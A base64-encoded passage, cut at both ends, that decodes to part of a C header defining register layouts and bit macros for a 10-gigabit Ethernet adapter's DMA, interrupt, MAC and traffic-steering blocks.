RklGT19QQVJUSVRJT05fUFJJXzEgICAgICAgICAgICAgICAgIDEgCiNkZWZpbmUgVFhfRklGT19Q QVJUSVRJT05fUFJJXzIgICAgICAgICAgICAgICAgIDIgCiNkZWZpbmUgVFhfRklGT19QQVJUSVRJ T05fUFJJXzMgICAgICAgICAgICAgICAgIDMgCiNkZWZpbmUgVFhfRklGT19QQVJUSVRJT05fUFJJ XzQgICAgICAgICAgICAgICAgIDQgCiNkZWZpbmUgVFhfRklGT19QQVJUSVRJT05fUFJJXzUgICAg ICAgICAgICAgICAgIDUKI2RlZmluZSBUWF9GSUZPX1BBUlRJVElPTl9QUklfNiAgICAgICAgICAg ICAgICAgNgojZGVmaW5lIFRYX0ZJRk9fUEFSVElUSU9OX1BSSV83ICAgICAgICAgICAgICAgICA3 IC8qIGxvd2VzdCAqLwoKICAgIHU2NCB0eF93X3JvdW5kX3JvYmluXzA7CiAgICB1NjQgdHhfd19y b3VuZF9yb2Jpbl8xOwogICAgdTY0IHR4X3dfcm91bmRfcm9iaW5fMjsKICAgIHU2NCB0eF93X3Jv dW5kX3JvYmluXzM7CiAgICB1NjQgdHhfd19yb3VuZF9yb2Jpbl80OwoKICAgIHU2NCB0dGlfY29t bWFuZF9tZW07CiNkZWZpbmUgVFRJX0NNRF9NRU1fV0UgICAgICAgICAgICAgICAgICAgICBCSVQo NykKI2RlZmluZSBUVElfQ01EX01FTV9TVFJPQkVfTkVXX0NNRCAgICAgICAgIEJJVCgxNSkKI2Rl ZmluZSBUVElfQ01EX01FTV9TVFJPQkVfQkVJTkdfRVhFQ1VURUQgIEJJVCgxNSkKI2RlZmluZSBU VElfQ01EX01FTV9PRkZTRVQobikgICAgICAgICAgICAgIHZCSVQobiwyNiw2KQoKICAgIHU2NCB0 dGlfZGF0YTFfbWVtOwojZGVmaW5lIFRUSV9EQVRBMV9NRU1fVFhfVElNRVJfVkFMKG4pICAgICAg dkJJVChuLDYsMjYpCiNkZWZpbmUgVFRJX0RBVEExX01FTV9UWF9USU1FUl9BQ19DSShuKSAgICB2 QklUKG4sMzgsMikKI2RlZmluZSBUVElfREFUQTFfTUVNX1RYX1RJTUVSX0FDX0VOICAgICAgIEJJ VCgzOCkKI2RlZmluZSBUVElfREFUQTFfTUVNX1RYX1RJTUVSX0NJX0VOICAgICAgIEJJVCgzOSkK I2RlZmluZSBUVElfREFUQTFfTUVNX1RYX1VSTkdfQShuKSAgICAgICAgIHZCSVQobiw0MSw3KQoj ZGVmaW5lIFRUSV9EQVRBMV9NRU1fVFhfVVJOR19CKG4pICAgICAgICAgdkJJVChuLDQ5LDcpCiNk ZWZpbmUgVFRJX0RBVEExX01FTV9UWF9VUk5HX0MobikgICAgICAgICB2QklUKG4sNTcsNykKCiAg ICB1NjQgdHRpX2RhdGEyX21lbTsKI2RlZmluZSBUVElfREFUQTJfTUVNX1RYX1VGQ19BKG4pICAg ICAgICAgIHZCSVQobiwwLDE2KQojZGVmaW5lIFRUSV9EQVRBMl9NRU1fVFhfVUZDX0IobikgICAg ICAgICAgdkJJVChuLDE2LDE2KQojZGVmaW5lIFRUSV9EQVRBMl9NRU1fVFhfVUZDX0MobikgICAg ICAgICAgdkJJVChuLDMyLDE2KQojZGVmaW5lIFRUSV9EQVRBMl9NRU1fVFhfVUZDX0QobikgICAg ICAgICAgdkJJVChuLDQ4LDE2KQoKLyogVHggUHJvdG9jb2wgYXNzaXN0ICovCiAgICB1NjQgdHhf cGFfY2ZnOwojZGVmaW5lIFRYX1BBX0NGR19JR05PUkVfRlJNX0VSUiAgICAgICAgICAgQklUKDEp CiNkZWZpbmUgVFhfUEFfQ0ZHX0lHTk9SRV9TTkFQX09VSSAgICAgICAgICBCSVQoMikKI2RlZmlu ZSBUWF9QQV9DRkdfSUdOT1JFX0xMQ19DVFJMICAgICAgICAgIEJJVCgzKQojZGVmaW5lCVRYX1BB X0NGR19JR05PUkVfTDJfRVJSCQkJICAgQklUKDYpCgovKiBSZWNlbnQgYWRkLCB1c2VkIG9ubHkg ZGVidWcgcHVycG9zZXMuICovCgl1NjQgcGNjX2VuYWJsZTsKCiAgICB1OCB1bnVzZWQ5WzB4NzAw LTB4MTc4XTsKICAgIAogICAgdTY0IHR4ZG1hX2RlYnVnX2N0cmw7IC8qVE9ETzogMS41IFNwZWMg ZG9lcyBub3QgbWVudGlvbiB0aGlzIHJlZ2lzdGVyIGFueSBtb3JlKi8KICAgIAogICAgdTggdW51 c2VkMTBbMHgxODAwLTB4MTcwOF07CgovKiBSeERNQSBSZWdpc3RlcnMgKi8KICAgIHU2NCByeGRt YV9pbnRfc3RhdHVzOwogICAgdTY0IHJ4ZG1hX2ludF9tYXNrOwojZGVmaW5lIFJYRE1BX0lOVF9S Q19JTlRfTSAgICAgICAgICAgICBCSVQoMCkKI2RlZmluZSBSWERNQV9JTlRfUlBBX0lOVF9NICAg ICAgICAgICAgQklUKDEpCiNkZWZpbmUgUlhETUFfSU5UX1JEQV9JTlRfTSAgICAgICAgICAgIEJJ VCgyKQojZGVmaW5lIFJYRE1BX0lOVF9SVElfSU5UX00gICAgICAgICAgICBCSVQoMykKCiAgICAg ICAgdTY0IHJkYV9lcnJfcmVnOwogICAgICAgIHU2NCByZGFfZXJyX21hc2s7CiAgICAgICAgdTY0 IHJkYV9lcnJfYWxhcm07CgogICAgICAgIHU2NCByY19lcnJfcmVnOwogICAgICAgIHU2NCByY19l cnJfbWFzazsKICAgICAgICB1NjQgcmNfZXJyX2FsYXJtOwoKICAgICAgICB1NjQgcHJjX3BjaXhf ZXJyX3JlZzsKICAgICAgICB1NjQgcHJjX3BjaXhfZXJyX21hc2s7CiAgICAgICAgdTY0IHByY19w Y2l4X2Vycl9hbGFybTsKCiAgICAgICAgdTY0IHJwYV9lcnJfcmVnOwogICAgICAgIHU2NCBycGFf ZXJyX21hc2s7CiAgICAgICAgdTY0IHJwYV9lcnJfYWxhcm07CgogICAgICAgIHU2NCBydGlfZXJy X3JlZzsKICAgICAgICB1NjQgcnRpX2Vycl9tYXNrOwogICAgICAgIHU2NCBydGlfZXJyX2FsYXJt OwoKICAgICAgICB1OCB1bnVzZWQxMVsweDEwMC0weDg4XTsKCi8qIERNQSBhcmJpdGVyICovCiAg ICAgICAgdTY0IHJ4X3F1ZXVlX3ByaW9yaXR5OwojZGVmaW5lIFJYX1FVRVVFXzBfUFJJT1JJVFko dmFsKSAgICAgICB2QklUKHZhbCw1LDMpCiNkZWZpbmUgUlhfUVVFVUVfMV9QUklPUklUWSh2YWwp ICAgICAgIHZCSVQodmFsLDEzLDMpCiNkZWZpbmUgUlhfUVVFVUVfMl9QUklPUklUWSh2YWwpICAg ICAgIHZCSVQodmFsLDIxLDMpCiNkZWZpbmUgUlhfUVVFVUVfM19QUklPUklUWSh2YWwpICAgICAg IHZCSVQodmFsLDI5LDMpCiNkZWZpbmUgUlhfUVVFVUVfNF9QUklPUklUWSh2YWwpICAgICAgIHZC SVQodmFsLDM3LDMpCiNkZWZpbmUgUlhfUVVFVUVfNV9QUklPUklUWSh2YWwpICAgICAgIHZCSVQo dmFsLDQ1LDMpCiNkZWZpbmUgUlhfUVVFVUVfNl9QUklPUklUWSh2YWwpICAgICAgIHZCSVQodmFs LDUzLDMpCiNkZWZpbmUgUlhfUVVFVUVfN19QUklPUklUWSh2YWwpICAgICAgIHZCSVQodmFsLDYx LDMpCgojZGVmaW5lIFJYX1FVRVVFX1BSSV8wICAgICAgICAgICAgICAgICAwICAgLyogaGlnaGVz dCAqLwojZGVmaW5lIFJYX1FVRVVFX1BSSV8xICAgICAgICAgICAgICAgICAxICAgCiNkZWZpbmUg UlhfUVVFVUVfUFJJXzIgICAgICAgICAgICAgICAgIDIgICAKI2RlZmluZSBSWF9RVUVVRV9QUklf MyAgICAgICAgICAgICAgICAgMyAgIAojZGVmaW5lIFJYX1FVRVVFX1BSSV80ICAgICAgICAgICAg ICAgICA0ICAgCiNkZWZpbmUgUlhfUVVFVUVfUFJJXzUgICAgICAgICAgICAgICAgIDUgICAKI2Rl ZmluZSBSWF9RVUVVRV9QUklfNiAgICAgICAgICAgICAgICAgNiAgIAojZGVmaW5lIFJYX1FVRVVF X1BSSV83ICAgICAgICAgICAgICAgICA3ICAgLyogbG93ZXN0ICovIAoKICAgICAgICB1NjQgcnhf d19yb3VuZF9yb2Jpbl8wOwogICAgICAgIHU2NCByeF93X3JvdW5kX3JvYmluXzE7CiAgICAgICAg dTY0IHJ4X3dfcm91bmRfcm9iaW5fMjsKICAgICAgICB1NjQgcnhfd19yb3VuZF9yb2Jpbl8zOwog ICAgICAgIHU2NCByeF93X3JvdW5kX3JvYmluXzQ7CgogICAgICAgIC8qIFBlci1yaW5nIGNvbnRy b2xsZXIgcmVncyAqLwojZGVmaW5lIFJYX01BWF9SSU5HUyAgICAgICAgICAgICAgICA4CiNpZiAw CiNkZWZpbmUgUlhfTUFYX1JJTkdTX1NaICAgICAgICAgICAgIDB4RkZGRiAvKiA2NTUzNiAqLyAg ICAgICAgICAgICAKI2RlZmluZSBSWF9NSU5fUklOR1NfU1ogICAgICAgICAgICAgMHgzRiAvKiA2 MyAqLyAKI2VuZGlmCiAgICAgICAgdTY0IHByY19yeGQwX25bUlhfTUFYX1JJTkdTXTsKICAgICAg ICB1NjQgcHJjX2N0cmxfbltSWF9NQVhfUklOR1NdOwojZGVmaW5lIFBSQ19DVFJMX1JDX0VOQUJM RUQgICAgICAgICAgICAgICAgICAgIEJJVCg3KQojZGVmaW5lIFBSQ19DVFJMX1JJTkdfTU9ERSAg ICAgICAgICAgICAgICAgICAgIChCSVQoMTQpfEJJVCgxNSkpCiNkZWZpbmUgUFJDX0NUUkxfUklO R19NT0RFXzEgICAgICAgICAgICAgICAgICAgdkJJVCgwLDE0LDIpCiNkZWZpbmUgUFJDX0NUUkxf UklOR19NT0RFXzMgICAgICAgICAgICAgICAgICAgdkJJVCgxLDE0LDIpCiNkZWZpbmUgUFJDX0NU UkxfUklOR19NT0RFXzUgICAgICAgICAgICAgICAgICAgdkJJVCgyLDE0LDIpCiNkZWZpbmUgUFJD X0NUUkxfUklOR19NT0RFX3ggICAgICAgICAgICAgICAgICAgdkJJVCgzLDE0LDIpCiNkZWZpbmUg UFJDX0NUUkxfTk9fU05PT1AgICAgICAgICAgICAgICAgICAgICAgKEJJVCgyMil8QklUKDIzKSkK I2RlZmluZSBQUkNfQ1RSTF9OT19TTk9PUF9ERVNDICAgICAgICAgICAgICAgICBCSVQoMjIpCiNk ZWZpbmUgUFJDX0NUUkxfTk9fU05PT1BfQlVGRiAgICAgICAgICAgICAgICAgQklUKDIzKQojZGVm aW5lIFBSQ19DVFJMX1JYRF9CQUNLT0ZGX0lOVEVSVkFMKHZhbCkgICAgIHZCSVQodmFsLDQwLDI0 KQoKICAgICAgICB1NjQgcHJjX2FsYXJtX2FjdGlvbjsKI2RlZmluZSBQUkNfQUxBUk1fQUNUSU9O X1JSX1IwX1NUT1AgICAgICAgICAgICBCSVQoMykKI2RlZmluZSBQUkNfQUxBUk1fQUNUSU9OX1JX X1IwX1NUT1AgICAgICAgICAgICBCSVQoNykKI2RlZmluZSBQUkNfQUxBUk1fQUNUSU9OX1JSX1Ix X1NUT1AgICAgICAgICAgICBCSVQoMTEpCiNkZWZpbmUgUFJDX0FMQVJNX0FDVElPTl9SV19SMV9T VE9QICAgICAgICAgICAgQklUKDE1KQojZGVmaW5lIFBSQ19BTEFSTV9BQ1RJT05fUlJfUjJfU1RP UCAgICAgICAgICAgIEJJVCgxOSkKI2RlZmluZSBQUkNfQUxBUk1fQUNUSU9OX1JXX1IyX1NUT1Ag ICAgICAgICAgICBCSVQoMjMpCiNkZWZpbmUgUFJDX0FMQVJNX0FDVElPTl9SUl9SM19TVE9QICAg ICAgICAgICAgQklUKDI3KQojZGVmaW5lIFBSQ19BTEFSTV9BQ1RJT05fUldfUjNfU1RPUCAgICAg ICAgICAgIEJJVCgzMSkKI2RlZmluZSBQUkNfQUxBUk1fQUNUSU9OX1JSX1I0X1NUT1AgICAgICAg ICAgICBCSVQoMzUpCiNkZWZpbmUgUFJDX0FMQVJNX0FDVElPTl9SV19SNF9TVE9QICAgICAgICAg ICAgQklUKDM5KQojZGVmaW5lIFBSQ19BTEFSTV9BQ1RJT05fUlJfUjVfU1RPUCAgICAgICAgICAg IEJJVCg0MykKI2RlZmluZSBQUkNfQUxBUk1fQUNUSU9OX1JXX1I1X1NUT1AgICAgICAgICAgICBC SVQoNDcpCiNkZWZpbmUgUFJDX0FMQVJNX0FDVElPTl9SUl9SNl9TVE9QICAgICAgICAgICAgQklU KDUxKQojZGVmaW5lIFBSQ19BTEFSTV9BQ1RJT05fUldfUjZfU1RPUCAgICAgICAgICAgIEJJVCg1 NSkKI2RlZmluZSBQUkNfQUxBUk1fQUNUSU9OX1JSX1I3X1NUT1AgICAgICAgICAgICBCSVQoNTkp CiNkZWZpbmUgUFJDX0FMQVJNX0FDVElPTl9SV19SN19TVE9QICAgICAgICAgICAgQklUKDYzKQoK LyogUmVjZWl2ZSB0cmFmZmljIGludGVycnVwdHMgKi8KICAgICAgICB1NjQgcnRpX2NvbW1hbmRf bWVtOwojZGVmaW5lIFJUSV9DTURfTUVNX1dFICAgICAgICAgICAgICAgICAgICAgICAgICBCSVQo NykKI2RlZmluZSBSVElfQ01EX01FTV9TVFJPQkUgICAgICAgICAgICAgICAgICAgICAgQklUKDE1 KQojZGVmaW5lIFJUSV9DTURfTUVNX1NUUk9CRV9ORVdfQ01EICAgICAgICAgICAgICBCSVQoMTUp CiNkZWZpbmUgUlRJX0NNRF9NRU1fU1RST0JFX0NNRF9CRUlOR19FWEVDVVRFRCAgIEJJVCgxNSkK I2RlZmluZSBSVElfQ01EX01FTV9PRkZTRVQobikgICAgICAgICAgICAgICAgICAgdkJJVChuLDI5 LDMpCgogICAgICAgIHU2NCBydGlfZGF0YTFfbWVtOwojZGVmaW5lIFJUSV9EQVRBMV9NRU1fUlhf VElNRVJfVkFMKG4pICAgICAgdkJJVChuLDMsMjkpCiNkZWZpbmUgUlRJX0RBVEExX01FTV9SWF9U SU1FUl9BQ19FTiAgICAgICBCSVQoMzgpCiNkZWZpbmUgUlRJX0RBVEExX01FTV9SWF9USU1FUl9D SV9FTiAgICAgICBCSVQoMzkpCiNkZWZpbmUgUlRJX0RBVEExX01FTV9SWF9VUk5HX0EobikgICAg ICAgICB2QklUKG4sNDEsNykKI2RlZmluZSBSVElfREFUQTFfTUVNX1JYX1VSTkdfQihuKSAgICAg ICAgIHZCSVQobiw0OSw3KQojZGVmaW5lIFJUSV9EQVRBMV9NRU1fUlhfVVJOR19DKG4pICAgICAg ICAgdkJJVChuLDU3LDcpCgogICAgICAgIHU2NCBydGlfZGF0YTJfbWVtOwojZGVmaW5lIFJUSV9E QVRBMl9NRU1fUlhfVUZDX0EobikgICAgICAgICAgdkJJVChuLDAsMTYpCiNkZWZpbmUgUlRJX0RB VEEyX01FTV9SWF9VRkNfQihuKSAgICAgICAgICB2QklUKG4sMTYsMTYpCiNkZWZpbmUgUlRJX0RB VEEyX01FTV9SWF9VRkNfQyhuKSAgICAgICAgICB2QklUKG4sMzIsMTYpCiNkZWZpbmUgUlRJX0RB VEEyX01FTV9SWF9VRkNfRChuKSAgICAgICAgICB2QklUKG4sNDgsMTYpCgogICAgICAgIHU2NCBy eF9wYV9jZmc7CiNkZWZpbmUgUlhfUEFfQ0ZHX0lHTk9SRV9GUk1fRVJSICAgICAgICAgICBCSVQo MSkKI2RlZmluZSBSWF9QQV9DRkdfSUdOT1JFX1NOQVBfT1VJICAgICAgICAgIEJJVCgyKQojZGVm aW5lIFJYX1BBX0NGR19JR05PUkVfTExDX0NUUkwgICAgICAgICAgQklUKDMpCgogICAgICAgIHU4 IHVudXNlZDEyWzB4NzAwLTB4MUQ4XTsKCiAgICAgICAgdTY0IHJ4ZG1hX2RlYnVnX2N0cmw7IC8q IFRPRE86IEluIDEuNSBzcGVjIHRoaXMgcmVnaXN0ZXIgaXMgbWlzc2luZy4gKi8KCiAgICAgICAg dTggdW51c2VkMTNbMHgyMDAwLTB4MWYwOF07CgovKiBNZWRpYSBBY2Nlc3MgQ29udHJvbGxlciBS ZWdpc3RlciAqLwogICAgICAgIHU2NCBtYWNfaW50X3N0YXR1czsKICAgICAgICB1NjQgbWFjX2lu dF9tYXNrOwojZGVmaW5lIE1BQ19JTlRfU1RBVFVTX1RNQUNfSU5UICAgICAgICAgICAgQklUKDAp CiNkZWZpbmUgTUFDX0lOVF9TVEFUVVNfUk1BQ19JTlQgICAgICAgICAgICBCSVQoMSkKCiAgICAg ICAgdTY0IG1hY190bWFjX2Vycl9yZWc7CiNkZWZpbmUgVE1BQ19FUlJfUkVHX1RNQUNfRUNDX0RC X0VSUiAgICAgICBCSVQoMTUpCiNkZWZpbmUgVE1BQ19FUlJfUkVHX1RNQUNfVFhfQlVGX09WUk4g ICAgICBCSVQoMjMpCiNkZWZpbmUgVE1BQ19FUlJfUkVHX1RNQUNfVFhfQ1JJX0VSUiAgICAgICBC SVQoMzEpCiAgICAgICAgdTY0IG1hY190bWFjX2Vycl9tYXNrOwogICAgICAgIHU2NCBtYWNfdG1h Y19lcnJfYWxhcm07CgogICAgICAgIHU2NCBtYWNfcm1hY19lcnJfcmVnOwojZGVmaW5lIFJNQUNf RVJSX1JFR19SWF9CVUZGX09WUk4gICAgICAgICAgQklUKDApCiNkZWZpbmUgUk1BQ19FUlJfUkVH X1JUU19FQ0NfREJfRVJSICAgICAgICBCSVQoMTQpCiNkZWZpbmUgUk1BQ19FUlJfUkVHX0VDQ19E Ql9FUlIgICAgICAgICAgICBCSVQoMTUpCiNkZWZpbmUgUk1BQ19MSU5LX1NUQVRFX0NIQU5HRV9J TlQgICAgICAgICBCSVQoMzEpCiAgICAgICAgdTY0IG1hY19ybWFjX2Vycl9tYXNrOwogICAgICAg IHU2NCBtYWNfcm1hY19lcnJfYWxhcm07CgogICAgICAgIHU4IHVudXNlZDE0WzB4MTAwLTB4NDBd OwoKICAgICAgICB1NjQgbWFjX2NmZzsKI2RlZmluZSBNQUNfQ0ZHX1RNQUNfRU5BQkxFICAgICAg ICAgICAgIEJJVCgwKQojZGVmaW5lIE1BQ19DRkdfUk1BQ19FTkFCTEUgICAgICAgICAgICAgQklU KDEpIAojZGVmaW5lIE1BQ19DRkdfTEFOX05PVF9XQU4gICAgICAgICAgICAgQklUKDIpCiNkZWZp bmUgTUFDX0NGR19UTUFDX0xPT1BCQUNLICAgICAgICAgICBCSVQoMykKI2RlZmluZSBNQUNfQ0ZH X1RNQUNfQVBQRU5EX1BBRCAgICAgICAgIEJJVCg0KQojZGVmaW5lIE1BQ19DRkdfUk1BQ19TVFJJ UF9GQ1MgICAgICAgICAgQklUKDUpCiNkZWZpbmUgTUFDX0NGR19STUFDX1NUUklQX1BBRCAgICAg ICAgICBCSVQoNikKI2RlZmluZSBNQUNfQ0ZHX1JNQUNfUFJPTV9FTkFCTEUgICAgICAgIEJJVCg3 KQojZGVmaW5lIE1BQ19STUFDX0RJU0NBUkRfUEZSTSAgICAgICAgICAgQklUKDgpCiNkZWZpbmUg TUFDX1JNQUNfQkNBU1RfRU5BQkxFICAgICAgICAgICBCSVQoOSkKI2RlZmluZSBNQUNfUk1BQ19B TExfQUREUl9FTkFCTEUgICAgICAgIEJJVCgxMCkKI2RlZmluZSBNQUNfUk1BQ19JTlZMRF9JUEdf VEhSKHZhbCkgICAgIHZCSVQodmFsLDE2LDgpCgogICAgICAgIHU2NCB0bWFjX2F2Z19pcGc7CiNk ZWZpbmUgVE1BQ19BVkdfSVBHKHZhbCkgICAgICAgICAgIHZCSVQodmFsLDAsOCkgCgogICAgICAg IHU2NCBybWFjX21heF9weWxkX2xlbjsKI2RlZmluZSBSTUFDX01BWF9QWUxEX0xFTih2YWwpICAg ICAgdkJJVCh2YWwsMiwxNCkKI2RlZmluZSBSTUFDX01BWF9QWUxEX0xFTl9ERUYgICAgICAgdkJJ VCgxNTAwLDIsMTQpCiNkZWZpbmUgUk1BQ19NQVhfUFlMRF9MRU5fSlVNQk9fREVGIHZCSVQoOTYw MCwyLDE0KQoKICAgICAgICB1NjQgcm1hY19lcnJfY2ZnOwojZGVmaW5lIFJNQUNfRVJSX0ZDUyAg ICAgICAgICAgICAgICAgICAgQklUKDApCiNkZWZpbmUgUk1BQ19FUlJfRkNTX0FDQ0VQVCAgICAg ICAgICAgICBCSVQoMSkKI2RlZmluZSBSTUFDX0VSUl9UT09fTE9ORyAgICAgICAgICAgICAgIEJJ VCgxKQojZGVmaW5lIFJNQUNfRVJSX1RPT19MT05HX0FDQ0VQVCAgICAgICAgQklUKDEpCiNkZWZp bmUgUk1BQ19FUlJfUlVOVCAgICAgICAgICAgICAgICAgICBCSVQoMikKI2RlZmluZSBSTUFDX0VS Ul9SVU5UX0FDQ0VQVCAgICAgICAgICAgIEJJVCgyKQojZGVmaW5lIFJNQUNfRVJSX0xFTl9NSVNN QVRDSCAgICAgICAgICAgQklUKDMpCiNkZWZpbmUgUk1BQ19FUlJfTEVOX01JU01BVENIX0FDQ0VQ VCAgICBCSVQoMykKCiAgICAgICAgdTY0IHJtYWNfY2ZnX2tleTsKI2RlZmluZSBSTUFDX0NGR19L RVkodmFsKSAgICAgICAgICAgICAgIHZCSVQodmFsLDAsMTYpCgojZGVmaW5lIE1BWF9NQUNfQURE UkVTU0VTICAgICAgICAgICAxNgojZGVmaW5lIE1BWF9NQ19BRERSRVNTRVMgICAgICAgICAgICAz MiAgLyogTXVsdGljYXN0IGFkZHJlc3NlcyAqLwojZGVmaW5lIE1BQ19NQUNfQUREUl9TVEFSVF9P RkZTRVQgICAwCiNkZWZpbmUgTUFDX01DX0FERFJfU1RBUlRfT0ZGU0VUICAgIDE2CiNkZWZpbmUg TUFDX01DX0FMTF9NQ19BRERSX09GRlNFVCAgIDYzICAvKiBlbmFibGVzIGFsbCBtdWx0aWNhc3Qg cGt0cyAqLwogICAgICAgIHU2NCBybWFjX2FkZHJfY21kX21lbTsKI2RlZmluZSBSTUFDX0FERFJf Q01EX01FTV9XRSAgICAgICAgICAgICAgICAgICAgQklUKDcpCiNkZWZpbmUgUk1BQ19BRERSX0NN RF9NRU1fUkQgICAgICAgICAgICAgICAgICAgIDAgCiNkZWZpbmUgUk1BQ19BRERSX0NNRF9NRU1f U1RST0JFX05FV19DTUQgICAgICAgIEJJVCgxNSkgIAojZGVmaW5lIFJNQUNfQUREUl9DTURfTUVN X1NUUk9CRV9DTURfRVhFQ1VUSU5HICBCSVQoMTUpCiNkZWZpbmUgUk1BQ19BRERSX0NNRF9NRU1f T0ZGU0VUKG4pICAgICAgICAgICAgIHZCSVQobiwyNiw2KQoKICAgICAgICB1NjQgcm1hY19hZGRy X2RhdGEwX21lbTsKI2RlZmluZSBSTUFDX0FERFJfREFUQTBfTUVNX0FERFIobikgICAgdkJJVChu LDAsNDgpCiNkZWZpbmUgUk1BQ19BRERSX0RBVEEwX01FTV9VU0VSICAgICAgIEJJVCg0OCkKCiAg ICAgICAgdTY0IHJtYWNfYWRkcl9kYXRhMV9tZW07CiNkZWZpbmUgUk1BQ19BRERSX0RBVEExX01F TV9NQVNLKG4pICAgIHZCSVQobiwwLDQ4KQoKICAgICAgICB1OCB1bnVzZWQxNVsweDhdOwoKLyoK ICAgICAgICB1NjQgcm1hY19hZGRyX2NmZzsKI2RlZmluZSBSTUFDX0FERFJfVUNBU1RuX0VOKG4p ICAgICBtQklUKDApX24obikKI2RlZmluZSBSTUFDX0FERFJfTUNBU1RuX0VOKG4pICAgICBtQklU KDApX24obikKI2RlZmluZSBSTUFDX0FERFJfQkNBU1RfRU4gICAgICAgICB2QklUKDApXzQ4IAoj ZGVmaW5lIFJNQUNfQUREUl9BTExfQUREUl9FTiAgICAgIHZCSVQoMClfNDkgCiovCiAgICAgICAg dTY0IHRtYWNfaXBnX2NmZzsKCiAgICAgICAgdTY0IHJtYWNfcGF1c2VfY2ZnOwojZGVmaW5lIFJN QUNfUEFVU0VfR0VOICAgICAgICAgICAgIEJJVCgwKQojZGVmaW5lIFJNQUNfUEFVU0VfR0VOX0VO QUJMRSAgICAgIEJJVCgwKQojZGVmaW5lIFJNQUNfUEFVU0VfUlggICAgICAgICAgICAgIEJJVCgx KQojZGVmaW5lIFJNQUNfUEFVU0VfUlhfRU5BQkxFICAgICAgIEJJVCgxKQojZGVmaW5lIFJNQUNf UEFVU0VfSEdfUFRJTUVfREVGICAgIHZCSVQoMHhGRkZGLDE2LDE2KQojZGVmaW5lIFJNQUNfUEFV U0VfSEdfUFRJTUUodmFsKSAgICB2QklUKHZhbCwxNiwxNikKCiAgICAgICAgdTY0IHJtYWNfcmVk X2NmZzsKCiAgICAgICAgdTY0IHJtYWNfcmVkX3JhdGVfcTBxMzsKICAgICAgICB1NjQgcm1hY19y ZWRfcmF0ZV9xNHE3OwoKICAgICAgICB1NjQgbWFjX2xpbmtfdXRpbDsKI2RlZmluZSBNQUNfVFhf TElOS19VVElMICAgICAgICAgICB2QklUKDB4RkUsMSw3KQojZGVmaW5lIE1BQ19UWF9MSU5LX1VU SUxfRElTQUJMRSAgIHZCSVQoMHhGLCA4LDQpCiNkZWZpbmUgTUFDX1RYX0xJTktfVVRJTF9WQUwo IG4gKSAgdkJJVChuLDgsNCkKI2RlZmluZSBNQUNfUlhfTElOS19VVElMICAgICAgICAgICB2QklU KDB4RkUsMzMsNykKI2RlZmluZSBNQUNfUlhfTElOS19VVElMX0RJU0FCTEUgICB2QklUKDB4Riw0 MCw0KQojZGVmaW5lIE1BQ19SWF9MSU5LX1VUSUxfVkFMKCBuICkgIHZCSVQobiw0MCw0KQogICAg ICAgIAojZGVmaW5lIE1BQ19MSU5LX1VUSUxfRElTQUJMRSAgICAgIE1BQ19UWF9MSU5LX1VUSUxf RElTQUJMRSB8IFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNQUNfUlhfTElO S19VVElMX0RJU0FCTEUKCiAgICAgICAgdTY0IHJtYWNfaW52YWxpZF9pcGc7CgovKiByeCB0cmFm ZmljIHN0ZWVyaW5nICovCiNkZWZpbmUJTUFDX1JUU19GUk1fTEVOX1NFVChsZW4pCXZCSVQobGVu LDIsMTQpCiAgICAgICAgdTY0IHJ0c19mcm1fbGVuX25bOF07CgogICAgICAgIHU2NCBydHNfcW9z X3N0ZWVyaW5nOwoKI2RlZmluZSBNQVhfRElYX01BUCAgICAgICAgICAgICAgICAgICAgICAgICA0 CS8qIENIQU5HRUQgKi8KICAgICAgICB1NjQgcnRzX2RpeF9tYXBfbltNQVhfRElYX01BUF07CiNk ZWZpbmUgUlRTX0RJWF9NQVBfRVRZUEUodmFsKSAgICAgICAgICAgICB2QklUKHZhbCwwLDE2KQoj ZGVmaW5lIFJUU19ESVhfTUFQX1NDVyh2YWwpICAgICAgICAgICAgICAgQklUKHZhbCwyMSkKCiAg ICAgICAgdTY0IHJ0c19xX2FsdGVybmF0ZXM7CiAgICAgICAgdTY0IHJ0c19kZWZhdWx0X3E7Cgog ICAgICAgIHU2NCBydHNfY3RybDsKI2RlZmluZSBSVFNfQ1RSTF9JR05PUkVfU05BUF9PVUkgICAg ICAgICAgIEJJVCgyKQojZGVmaW5lIFJUU19DVFJMX0lHTk9SRV9MTENfQ1RSTCAgICAgICAgICAg QklUKDMpCgogICAgICAgIHU2NCBydHNfcG5fY2FtX2N0cmw7CiNkZWZpbmUgUlRTX1BOX0NBTV9D VFJMX1dFICAgICAgICAgICAgICAgICBCSVQoNykKI2RlZmluZSBSVFNfUE5fQ0FNX0NUUkxfU1RS T0JFX05FV19DTUQgICAgIEJJVCgxNSkKI2RlZmluZSBSVFNfUE5fQ0FNX0NUUkxfU1RST0JFX0JF SU5HX0VYRUNVVEVEICAgQklUKDE1KQojZGVmaW5lIFJUU19QTl9DQU1fQ1RSTF9PRkZTRVQobikg ICAgICAgICAgdkJJVChuLDI0LDgpCiAgICAgICAgdTY0IHJ0c19wbl9jYW1fZGF0YTsKI2RlZmlu ZSBSVFNfUE5fQ0FNX0RBVEFfVENQX1NFTEVDVCAgICAgICAgIEJJVCg3KQojZGVmaW5lIFJUU19Q Tl9DQU1fREFUQV9QT1JUKHZhbCkgICAgICAgICAgdkJJVCh2YWwsOCwxNikKI2RlZmluZSBSVFNf UE5fQ0FNX0RBVEFfU0NXKHZhbCkgICAgICAgICAgIHZCSVQodmFsLDI0LDgpCgogICAgICAgIHU2 NCBydHNfZHNfbWVtX2N0cmw7CiNkZWZpbmUgUlRTX0RTX01FTV9DVFJMX1dFICAgICAgICAgICAg ICAgICBCSVQoNykKI2RlZmluZSBSVFNfRFNfTUVNX0NUUkxfU1RST0JFX05FV19DTUQgICAgIEJJ VCgxNSkKI2RlZmluZSBSVFNfRFNfTUVNX0NUUkxfU1RST0JFX0NNRF9CRUlOR19FWEVDVVRFRCAg IEJJVCgxNSkKI2RlZmluZSBSVFNfRFNfTUVNX0NUUkxfT0ZGU0VUKG4pICAgICAgICAgIHZCSVQo biwyNiw2KQogICAgICAgIHU2NCBydHNfZHNfbWVtX2RhdGE7CiNkZWZpbmUgUlRTX0RTX01FTV9E QVRBKG4pICAgICAgICAgICAgICAgICB2QklUKG4sMCw4KQoKICAgICAgICB1OCB1bnVzZWQxNlsw eDcwMC0weDIyMF07CgogICAgICAgIHU2NCBtYWNfZGVidWdfY3RybDsJLyogVE9ETzogSW4gMS41 IHNwZWMgdGhpcyByZWdpc3RlciBpcyBtaXNzaW5nLiAqLwoKICAgICAgICB1OCB1bnVzZWQxN1sw 